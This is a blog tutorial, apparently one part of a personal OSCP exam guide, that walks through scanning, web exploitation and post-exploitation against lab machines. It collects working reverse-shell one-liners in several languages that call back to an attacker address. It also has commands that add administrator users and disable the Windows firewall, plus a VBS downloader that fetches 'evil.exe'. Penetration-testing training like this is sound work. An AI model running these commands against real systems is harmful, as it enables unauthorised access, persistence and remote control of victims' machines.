Man walks through door with large shadow. OFFENSIVE security logo dramatically appears in a red abyss.

So, you’ve finally signed up, paid the money, waited for the start date, logged in to the VPN, and are suddenly hit in the face with a plethora of vulnerable boxes and you have no idea where to start.

This part of the guide will show the general process I tend to use when approaching a new target in the OSCP labs. This is by no means a replacement for reading the PWK manual and doing the exercises, it’s a brief overview of some major vulnerability types and a few tips. You can always refer back to this post later, using it as a cheat sheet for command syntax.

Nmap

First of all, we need to know what boxes exist on the network nmap run a ping scan:

nmap -sn 10.0.0.0/24

The above command will test whether all machines in the 10.0.0.0/24 subnet are alive (10.0.0.0–10.0.0.255). You may need to change this for the lab network.

Once I have chosen a host, the first thing I always do is:

nmap -A -oA nmap $targetip

This will scan the 1024 most common ports, run OS detection, run default nmap scripts, and save the results in a number of formats in the current directory.

Scanning more deeply:

nmap -v -p- -sT $targetip

This will scan all 65535 ports on $targetip with a full connect scan. This scan will probably take a very long time. The -v stands for verbose, so that when a new port is discovered, it will print it out straight away instead of having to wait until the end of the scan, scanning this many ports over the internet takes a long time. I would often leave the scan running overnight, or move on to a different box in the meantime.

Probing services

From these initial nmap scans, we should have gained a lot of information about machine — we know what ports are open, and usually what services they are running.

HTTP(S)

If the server is running HTTP or HTTPS, the next logical step is to check it out in a web browser. What does it display? Is it a potentially vulnerable web application? Is it a default web server page which reveals version information?

Probing with Nikto

Nikto is an excellent scanner for web servers.

nikto -host $targetip -port $targetport

Brute forcing HTTP(s) directories and files with dirsearch

There are many tools for this purpose including dirb, dirbuster and gobuster — all of these have their advantages and should be learned, but my favourite is dirsearch. You can get it from https://github.com/maurosoria/dirsearch. This syntax will get you started, it defines a wordlist file, URL and file extension to look for.

./dirsearch.py -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u $targetip -e php

But dirsearch can do more! Check the README.

SMB

Nmap scripts

Kali comes with a bunch of really great nmap scripts which can be used to probe SMB further — these scripts can be viewed with the following command.

locate *.nse | grep smb

Using the scripts is as simple as:

nmap -p 139,445 --script=$scriptname $targetip

Note that the script parameter also accepts wildcards, for example, to try all of the nmap SMB vulnerability testing scripts, use:

nmap -p 139,445 --script=smb-vuln* $targetip

Enum4Linux

enum4linux is an excellent tool for probing SMB for interesting information — and sometimes access to shares! This tool has a lot of options to remember, so I generally just run the -a “do everything” option, which looks like this:

enum4linux -a $targetip

smbclient

This tool is for connecting to a box via SMB. It basically works the same as a command line FTP client. Sometimes you can connect to a box and browse files without even having credentials, so it’s worth a check!

smbclient \\\\$ip\\$share

FTP

Anonymous Access

There are a number of nmap scripts which can help with enumerating FTP, but the very first thing to check is whether anonymous access is enabled.

ftp $targetip

Username: anonymous

Password: anything

This has varying degrees of success, most of the time, it won’t work. Sometimes you will be able to read files but not write them, and other times you will be presented with full read and write access.

SSH

Other than a few rare exceptions, SSH is not likely to be vulnerable. Unless it is running a strange version of SSH, or a particularly old version, I wouldn’t usually bother exploring this further. Just note that it is there, and if you find credentials somewhere else on the system, try using it on SSH!

Other Services

Manual banner grabbing

You can always connect to a service using netcat and see what information it gives you.

nc $targetip $port

Finding exploits

Searchsploit will search all the exploits in the exploit-db database. To update your database:

searchsploit -u

To search for exploits on a particular service, kernel or OS.

searchsploit $multiple $search $terms

Google

Google is a good source of information, whodathunkit? Try search terms which contain the service name, version and the word ‘exploit’. For example,

proftpd 1.3.5 exploit

Metasploit

Metasploit is a whole other bag which I am not going to go into too much in this article, but if you’re looking to search within metasploit, just run search $searchterm from msfconsole. Note — there are heavy restrictions on using metasploit in the exam, so don’t get too reliant on it. When you do use it, take a look at the actual metasploit module you are using, and make sure you understand how it works. Maybe even try porting it to a standalone exploit!

Webapps — What to look for

Webapps are a common point of entry. They can be vulnerable to many different vulnerabilities, and with practice, you will become better at finding them.

First things first, is this a known webapp, or a custom one? Try searching the name, look at the source code, look for version numbers and login screens. If it is a known webapp — you might find a known vulnerability using searchsploit or google.

Burp Suite

Burp suite is a very handy tool for testing webapps. I would go as far as saying it is my single favourite penetration testing tool. If you’re crafting a RCE payload or SQL injection, it’s much quicker and easier to send the HTTP request to the repeater in burp and edit the payload there than to try editing it in the browser. It’s worth learning the more advanced Burp features too, both for OSCP and for your future in cyber!

SQL Injections

If a developer is incompetent and/or lazy, a text field in a webapp can sometimes end up being passed (unsanitized) into an SQL query. If that is the case, you may be able to use this vulnerability to bypass login forms, dump databases (credentials?), and even write files. A full summary of SQL injection methods would be a whole other post, but for now, you can checkout the OWASP guides and use SQLMap. Important — this tool is NOT allowed to be used in the exam at all, however, you should learn how to use it by experimenting with it in the labs.

One huge time-saver when learning SQLMap is to use the -r switch. You can catch the vulnerable request using a proxy like Burp, save it to a text file, and then use SQLMap to scan it just by running:

sqlmap -r file.req

It took me an embarrassingly long time to find this feature. Don’t be like me. Writing the request details on the command line sucks.

File inclusions

Sometimes, we are able to include a file of our choice in the code of the web application. If we can somehow inject our own code into that file — we have command execution. There are two types of file inclusion vulnerabilities — local file inclusions (LFI) and remote file inclusions (RFI).

RFIs occur when you can include a remote file (perhaps one that is hosted on your local machine). RFIs are typically easier to exploit, because you can simply host some code on your local machine, and point the RFI to that code to execute it.

LFIs occur when you can include a file on the target machine, they can be handy for reading local files (such as /etc/passwd), but if you can somehow inject your own code into the system somewhere, you can often turn an LFI into remote code execution.

Let’s say that we have a page parameter which is vulnerable to a file inclusion vuln in the following URL:

If this is a Linux box, we could test for a LFI by navigating to:

If the box is vulnerable, we might see the contents of /etc/passwd on the target printed to the page.

If you were super observant, you may have noticed that I put a %00 on the end of the URL. This is called a null byte, and it’s purpose is to terminate the string. This technique does not work on newer versions of PHP, but I found that it worked for many of the LFI/RFI vulnerabilities in the labs. If the underlying vulnerable code looks like this:

include($page . '.php');

Then without the null byte on the end, we would be requesting /etc/passwd.php, which does not exist. The null byte terminates the string, meaning that our attack is likely to be successful.

Sometimes LFI vulnerabilities are also RFI vulnerabilities — to test if this app is vulnerable to RFIs, we could host our own file at http://hackerip/evil.txt which contains our own code, and then visit this URL:

If successful, the code contained in evil.txt will be executed on our target.

Code and Command Injection

On some occasions, you may come across web applications which allow execution of code directly. This comes in many forms, it may be a Wordpress backend (which by default, allows the editing of PHP files), a web based terminal emulator, a PHP/Python/Perl sandbox, or some kind of online tool which runs a system command with user input and displays the output.

There are too many avenues to explore here, but use your imagination. Try to think about how the code may look on the backend, and how you might be able to inject your own commands.

I’ve got command execution, now what?

If you’ve found some kind of code execution vulnerability, it’s time to upgrade to a shell.

Reverse Shells

A reverse shell is when you make your target machine connect back to your machine and spawn a shell. Popping a shell is the most exciting part of any hack.

NOTE: Most versions of netcat don’t have -e built-in

If you’re not sure what -e does, it lets you specify a command to pipe through your reverse shell. There’s a good reason that it’s disabled on most versions of netcat — it’s a gaping security hole. Having said that, if you’re attacking a linux machine, you can get around this by using the following reverse shell one-liner.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Which will pipe /bin/sh back to 10.0.0.1 on port 1234, without using the -e switch. This brings us to the next section nicely.

A collection of Linux reverse shell one-liners

These one-liners are all found on pentestmonkey.net. This website also contains a bunch of other useful stuff!

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat with -e

nc -e /bin/sh 10.0.0.1 1234

Netcat without -e (my personal favourite)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Windows reverse shells?

Windows is a bit of a different animal because it doesn’t come with the same beautiful command line tools that spoil us in Linux. If we have the need for a reverse shell, then our entry-point was most likely some kind of file upload capability or rce, often through a web-application.

Firstly, if you happen to find a windows system with Perl (unlikely), give this a whirl (source):

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"$attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Otherwise, we have a couple of options:

Attempt to download nc.exe, and then run something along the lines of “nc.exe -e cmd.exe attackerip 1234”.

If we are dealing with an IIS server, create our own .asp or .aspx reverse shell payload with msfvenom, and then execute it.

Powershell injection

Here’s some other useful commands on windows. If the machine you’re facing has RDP enabled (port 3389), you can often create your own user and add it to the “Remote Desktop Users” group, then just log in via remote desktop.

Add a user on windows:

net user $username $password /add

Add a user to the “Remote Desktop Users” group:

net localgroup "Remote Desktop Users" $username /add

Make a user an administrator:

net localgroup administrators $username /add

Disable Windows firewall on newer versions:

NetSh Advfirewall set allprofiles state off

Disable windows firewall on older windows:

netsh firewall set opmode disable

Generating payloads with msfvenom

If you’re not already familiar with msfvenom, it’s an absolute must for OSCP. Msfvenom is part of the Metasploit Framework, and is used to generate payloads which do all kinds of evil things, from generating reverse shells to generating message boxes for a pretty PoC.

I don’t want to cover msfvenom in detail here, because you can find it easily in other places, like the offsec website.

File transfer methods — Linux

Once you’ve got command execution, there’s a good chance you will want to transfer files to the victim box.

First things first — you need to find a directory you can write to. The first places to look are /tmp or /dev/shm but if that doesn’t work for you, this command should find writeable directories:

find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;

HTTP(S)

Now that we have found somewhere to transfer to, it’s time to transfer the files! The quickest, easiest way to transfer files to a Linux victim is to setup a HTTP server on your Kali box. If you like being inefficient, set up Apache. If you would rather keep things easy, navigate to the directory containing the file(s) you wish to transfer and run:

root@kali# python -m SimpleHTTPServer 80

Pulling in the files on any victim Linux machine should be as easy as

wget http://attackerip/file

Or

Netcat

If HTTP file transfers are not an option, consider using netcat. First set up your victim to listen for the incoming request and pipe the output to a file (it’s best to use a high port number, as using port numbers < 1024 is often not allowed unless you’re root):

nc -nvlp 55555 > file

Now back on your Kali machine, send the file!

nc $victimip 55555 < file

File Transfer Methods — Windows

If you’re attacking windows, transferring files can be a little more tricky. My favourite method (which I learned from the OSCP manual!) is to create your own Windows wget by writing a VBS script. First you can create the file line by line by running these commands:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs

echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs

echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs

echo Err.Clear >> wget.vbs

echo Set http = Nothing >> wget.vbs

echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs

echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs

echo http.Open "GET", strURL, False >> wget.vbs

echo http.Send >> wget.vbs

echo varByteArray = http.ResponseBody >> wget.vbs

echo Set http = Nothing >> wget.vbs

echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs

echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs

echo strData = "" >> wget.vbs

echo strBuffer = "" >> wget.vbs

echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs

echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs

echo Next >> wget.vbs

echo ts.Close >> wget.vbs

Then, using your script looks something like this:

cscript wget.vbs http://attackerip/evil.exe evil.exe

If you’re attacking a windows box and this method isn’t going to work for you, consider trying TFTP or SMB as alternate file transfer methods. If you’re lucky, there may also be a file upload method in a web application.

Upgrading Reverse Shells to be Fully Interactive

Popping a reverse shell is exciting, but it’s not quite the same as a fully interactive shell. You won’t have tab completion, you can’t run any interactive programs (including sudo), and if you press Ctrl+C, you will exit back to your local box, which sucks. So! Here’s how to upgrade your Linux reverse shell.

python -c "import pty; pty.spawn('/bin/bash')"

You should get a nicer looking prompt, but your job isn’t over yet. Press Ctrl+Z to background your reverse shell, then in your local machine run:

stty raw -echo

fg

Things are going to look really messed up at this point, but don’t worry. Just type reset and hit return. You should be presented with a fully interactive shell. You’re welcome.

There’s still one little niggling thing that can happen, the shell might not be the correct height/width for your terminal. To fix this, go to your local machine and run:

stty size

This should return two numbers, which are the number of rows and columns in your terminal. For example’s sake let’s say this command returned 48 120 Head on back to your victim box’s shell and run the following.

stty -rows 48 -columns 120

You now have a beautiful interactive shell to brag about. Time to privesc!

Privilege Escalation — Linux

I’m not going to go into too much detail here because this post is getting too long already, and there’s a lot to talk about! I will show you a few things that I try first though, and then I’ll refer you over to g0tmi1k’s post, which will fill in the gaps.

Sudo misconfiguration

First things first, if you have found any passwords on the system, try using them to become root by running:

sudo su

If not try running:

sudo -l

Sometimes, sudo will allow you to run some commands as root, or become a different user. If the box is configured this way in the OSCP labs, there’s a good chance that this will be your path to root.

Kernel Exploits

The second thing I try is:

uname -ar

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release # Debian based

cat /etc/redhat-release # Redhat based

These commands will tell you which kernel and distribution you are looking at. If you’re lucky, Googling the kernel version and/or the distribution version may reveal known privilege escalation exploits to try.

Linenum

If you’re into automation and efficiency, checkout LinEnum.sh. It’s a great bash script that enumerates a lot of common misconfigurations in Linux systems. You can get it here: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

For next-level enumeration efficiency, host linenum.sh on a webserver on your Kali box, then on the victim, just run:

G0tmi1k?

Lastly, let’s pay homage to the most referenced Linux privilege escalation article of all time by g0tmi1k: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Privilege Escalation - Windows

The first thing I try is searching for a known exploit for the version of windows you are facing. To find out which version of Windows you are facing, try this:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

If that doesn’t work, you have to do it the hard way. This is a pretty thorough article that has helped me out more than once: http://www.fuzzysecurity.com/tutorials/16.html

Where Are The Other Parts of This Guide?

If you’re not finished reading just yet the other parts of this guide are below:

Luke’s Ultimate OSCP Guide: Part 1 — Is OSCP for you? Some things you should know before you start

Luke’s Ultimate OSCP Guide: Part 2 — Workflow and documentation tips

The End?

The goal of this post is to provide some tips that helped me in my OSCP journey. If you think something is missing, have any questions, or just want to chat — get in touch! The easiest place to find me is on twitter, or right here on Medium.